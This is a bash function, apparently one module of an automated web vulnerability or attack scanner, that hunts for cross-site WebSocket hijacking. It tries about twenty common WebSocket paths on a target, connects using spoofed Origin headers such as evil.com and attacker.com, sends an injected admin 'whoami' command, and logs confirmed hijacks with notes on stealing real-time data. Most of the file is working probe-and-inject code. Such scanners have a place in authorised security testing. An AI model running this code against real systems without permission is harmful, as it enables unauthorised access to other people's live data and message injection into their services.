#!/usr/bin/env bash
# Vector 24: WebSocket Hijack — Intercepts & injects WS messages
# Desc: Tests for missing WS origin validation, message injection
# Severity: HIGH
# Proof: Sends/receives WS messages proving hijack

vector_websocket_hijack() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local findings=0

  print_info "Hunting WebSocket Hijacking..."

  # Common WS endpoints
  local ws_paths=(
    "/ws" "/wss" "/websocket" "/socket" "/sock" "/chat"
    "/ws/v1" "/ws/v2" "/notifications" "/events" "/stream"
    "/realtime" "/live" "/subscribe" "/push" "/notification"
    "/graphql" "/subscriptions" "/api/ws" "/api/wss"
  )

  local ws_protocols=("ws://" "wss://")
  local base=$(get_base "$target")
  local ws_base=$(echo "$base" | sed 's/https:/wss:/;s/http:/ws:/')

  # Origin headers to test
  local evil_origins=(
    "https://evil.com"
    "https://attacker.com"
    "https://${domain}.evil.com"
    "null"
    "http://localhost"
  )

  local tested=0

  for path in "${ws_paths[@]}"; do
    local ws_url="${ws_base}${path}"
    
    for origin in "${evil_origins[@]}"; do
      tested=$((tested + 1))

      # Use Python to test WS connection
      local result=$(python3 -c "
import json, sys
try:
    import websocket
    ws = websocket.create_connection(
        '$ws_url',
        header={'Origin': '$origin'},
        timeout=5
    )
    ws.settimeout(3)
    
    # Try to receive a message
    try:
        msg = ws.recv()
        if msg:
            print(f'RECEIVED: ' + msg[:200])
    except:
        print('CONNECTED: true')
    
    # Try to send malicious message
    try:
        ws.send(json.dumps({'action': 'admin', 'cmd': 'whoami'}))
        resp = ws.recv()
        if resp:
            print(f'INJECTION_RESPONSE: ' + resp[:200])
    except:
        pass
    
    ws.close()
except Exception as e:
    print(f'ERROR: ' + str(e)[:100])
" 2>/dev/null)

      if echo "$result" | grep -qi "RECEIVED:\|CONNECTED:\|INJECTION_RESPONSE:"; then
        if echo "$result" | grep -qi "RECEIVED:\|INJECTION_RESPONSE:"; then
          print_find "WebSocket Hijack Confirmed!" "Connected from $origin to $ws_url"
          echo "SEVERITY: HIGH
VECTOR: WebSocket Hijack
DETAIL: Connected to WebSocket with spoofed origin $origin
URL: $ws_url
EVIDENCE: $result
EXPLOIT: Steal real-time data, inject malicious messages" > "$REPORTS_DIR/.finding_ws_$(date +%s).txt"
          findings=$((findings + 1))
        else
          print_find "WebSocket Accessible" "Insecure WS endpoint at $ws_url"
          findings=$((findings + 1))
        fi
        break 2
      fi
    done
  done

  if [ "$findings" -eq 0 ]; then
    print_info "No WebSocket hijacking found"
  fi

  print_sub "Tested $tested WS endpoints"
  return $findings
}